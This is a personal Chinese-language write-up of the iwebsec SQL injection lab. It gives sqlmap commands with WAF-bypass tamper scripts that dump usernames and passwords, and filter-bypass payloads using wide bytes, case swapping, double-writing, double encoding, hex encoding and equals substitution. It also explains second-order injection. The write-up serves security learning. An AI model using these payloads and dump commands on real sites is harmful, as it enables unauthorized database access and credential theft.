【iwebsec靶场sql注入题目个人专用结题记录】
文章目录
- 第二关（字符型注入，宽字节注入）
- 第五关 报错注入
- 第八关 大小写注入
- 第九关（双写关键字）
- 第十关（双重编码）
- 第十一关（16进制绕过）
- 第十二关（等价函数替换）
- 第十三关（二次注入）
使用sql注入求闭合时记得考虑数字型数字型注入，无闭合情况
空格过滤;/**/
第二关（字符型注入，宽字节注入）
sqlmap使用脚本
增加宽字符脚本 --tamper unmagicquotes
python sqlmap.py -u "XXXXXXX" --tamper=space2comment.py
接下来常规输入
python sqlmap.py -u "xxxxx" --tamper=space2comment.py --dbs
#，其中参数“--dbs”用于列举数据库。
python sqlmap.py -u "xxxxxxx" --tamper=space2comment.py -D iwebsec --tables
#其中参数“-D”用于指定数据库名称，“--tables”参数用于列举表。
python sqlmap.py -u "xxxxxxx" --tamper=space2comment.py -D iwebsec -T user --columns
#其中参数“-T”用于指定表名称，“--columns”参数用于指定列出表中字段。
python sqlmap.py -u "xxxxxx" --tamper=space2comment.py -D iwebsec -T user -C id,password,username --dump
#其中参数“-C”用于指定字段名称，参数“—dump”用于导出数据
或者将宽字符特征%df加入到参数1
http://XXXX/sqli/02.php?id=1%df’-- -
但是手动注入在精确到某个表中查询列名时有错误，表名users被‘ ‘’包裹起来,但是又是宽字节注入，导致’不能使用，只能使用查询所有表的语句。
由第11关得知，可以更改为16进制编码解决上诉问题
由第十二关等价函数替换也可以写成如下
但是该格式并没有准确的爆出users表的列信息
可能因为strcmp函数的原因，匹配到了存储user表所在的库。
第五关 报错注入
B表示布尔盲注，T表示时间盲注(延迟注入）（用到的最多），E表示报错注入,U表示联合查询注入，S表示堆查询注入
–technique T 设置为只基于时间的探测技术
python sqlmap.py -u "xxxxx" --dbs --technique E#E必须大写，technique必须小写
第八关 大小写注入
前面查询的步骤一切正常，在执行union select 这一步却出错，有题目名字推测大小写绕过
大小写变种
UNION SELECT=>uNIon SElecT
选择几个字母变换大小写，可以绕过部分不太聪明的过滤器。在sql查询中是不区分大小写的所以查询语句正常执行
修改大小写之后正常：
或者使用sqlmap脚本工具：
randomcase.py
D:\CTF\sqlmap\sqlmap-master>python sqlmap.py -u "XXXXX" --tamper=randomcase.py --dbs
第九关（双写关键字）
正则表达匹配中是有区分大小写的，i 就是说明不区分大小写，
第九关源码过滤语句：唯一与第八关不同就是后面多了个i ，不区分大小写
$id=preg_replace('/select/i','', $_GET["id"]);
常见的双写替换：
在tamper中创建了一个抄的脚本；double_hwjcopy.py
第十关（双重编码）
if(isset($_GET['id'])){
if (preg_match('/select/', $_GET["id"])) {
die("ERROR");
}else{
$id = urldecode($_GET['id']);
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
}
}
waf进行了一次解码urldecode()，所以我们要进行一次编码urlencode()
同时，我们 也要注意同时使用了大小写 过滤
第十一关（16进制绕过）
源代码引用了addshalshes()函数
在php中，get_magic_quotes_gpc()和addshalshes()函数的作用是在单引号(')、双引号(")、反斜杠()和NULL前加上反斜杠，这样可以绕过大部分的恶意SQL注入
可以将’'去除，将users改为16进制编码，再在前面加上16进制标识符0x
该方法是通用的，在其他题目里也可以将‘users’改为0x7573657273
或者使用
使用sqlmap的绕waf脚本hex2char.py，将16进制编码进行替换
sqlmap -u http://xxxx/sqli/11.php?id=1 --tamper=hex2char.py
–tamper=hex2char.py
脚本名： 从字符串转换到16进制表示的字符串
或者直接爆破–dbs也能成功
第十二关（等价函数替换）
等号过滤如何解（第四条没看懂）
（1）like、rlike、regexp替换绕过
like：就是等于的意思，不加通配符的like执行的效果和=一致，所以可以用来绕过
rlike：就是里面含有这个
regexp：和rlike一样，里面含有即可
如select * from users where id =1;可以用select * from users where id like 1;来替换，即如下两个语句同义
select * from users where id = 1;
select * from users where id like 1;
（2）大于小于号绕过
如id =2 可以用id > 1 and id < 3来替换
select * from users where id = 2;
select * from users where id > 1 and id < 3;
<> 等价于 != 所以在前面再加一个!结果就是等号了
select * from users where id = 2;
select * from users where !(id <> 1);
（3）between\strcmp等函数替换绕过
等号绕过也可以使用strcmp(str1,str2)函数、between关键字
（4） %like% 通配符
%：替代一个或多个字符
或者使用sqlmap脚本
使用sqlmap的绕waf脚本equaltolike.py
第十三关（二次注入）
1.漏洞原理
SQL二次注入漏洞指已存储（数据库、文件）的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。相对而言这是一种较难发现的SQL安全漏洞形式。
2.漏洞原因
造成二次SQL注入漏洞的原因如下：网站对在第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身还是脏数据（恶意构造的SQL语句）。
3.二次注入思路
1.黑客通过insert语句功能的web环境构造构造二次注入命令，在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理，提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
2.服务端应用程序会将黑客提交的数据信息进行存储，通常是保存在数据库中，保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
3.黑客在查询功能的web环境中再次向服务端发送第二个请求数据信息。
4.服务端接收到黑客提交的第二个请求信息后，为了处理该请求，服务端会查询数据库中已经存储的数据信息并处理，从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行，从而形成二次注入攻击。
5.服务端返回执行的处理结果数据信息，黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
由题意得知要判断哪一个信息是该进行恶意构造的语句
用户名是进行恶意构造的信息
